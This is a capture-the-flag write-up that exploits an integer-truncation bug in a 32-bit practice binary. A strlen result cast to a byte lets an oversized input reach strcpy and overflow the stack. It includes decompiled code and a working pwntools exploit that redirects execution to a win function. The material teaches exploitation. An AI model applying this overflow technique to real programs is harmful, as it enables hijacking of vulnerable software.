Vuln

Objective of this challenge is to call the win function.

This challenge was originally from: https://sploitfun.wordpress.com/2015/06/23/integer-overflow/ I did modify it in some ways.

Let's take a look at the binary:

$	file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b0d1dbf76b9c7c6ae45ab201775536d7b7096b2d, for GNU/Linux 3.2.0, not stripped
$	pwn checksec vuln 
[*] '/Hackery/pod/modules/integer_exploitation/int_overflow_post/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$	./vuln 15935728 75395128
Valid Password

So we can see that we are dealing with a 32 bit binary with no PIE or Stack Canary. When we run it, we provide input via two arguments to the process.

Reversing

When we take a look at the main function in Ghidra, we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(int argc,int argv)

{
  if (argc != 3) {
    puts("Usage Error:   ");
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  validate_passwd(*(undefined4 *)(argv + 8));
  return 0;
}

So we can see that it checks to ensure that argc is 3 (which means two arguments in addition to the file name). After that it runs our second argument through the validate_passwd function:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void validate_passwd(char *input)

{
  size_t inputLen;
  char vulnBuf [11];
  byte inputLenByte;
  
  inputLen = strlen(input);
  if (((byte)inputLen < 4) || (8 < (byte)inputLen)) {
    puts("Invalid Password");
    fflush(stdout);
  }
  else {
    puts("Valid Password");
    strcpy(vulnBuf,input);
  }
  return;
}

So we can see, that it takes the length of our input and stores it as a byte. If that byte is between 4-8, then it will copy it over to the vulnBuf char array without any additional size checks.

We can also see the win condition here:

void win(void)

{
  int iVar1;
  
  iVar1 = __x86.get_pc_thunk.ax();
  puts((char *)(iVar1 + 0xe5a));
  return;
}

Exploitation

So we will be using an Integer Overflow attack to trigger a buffer overflow. Thing is, the value returned by strlen(input) is casted to a byte. This means that only the least significant byte is actually evaluated in the if then check. So if we were to input a value of size 0x105, it would see the size as 0x05, and proceed to the strcpy call, which would give us code execution.

The rest of it is pretty much your standard buffer overflow.

Exploit

Putting it all together, we have the following exploit:

from pwn import *

payload = ""
payload += "0"*0x18
payload += p32(0x080491a2)
payload += "1"*(0x105 - len(payload))

target = process(["./vuln", "0", payload])

target.interactive()

When we run it:

$	python exploit.py 
[+] Starting local process './vuln': pid 5961
[*] Switching to interactive mode
Valid Password
You Win
[*] Got EOF while reading in interactive

Just like that, we solved the challenge!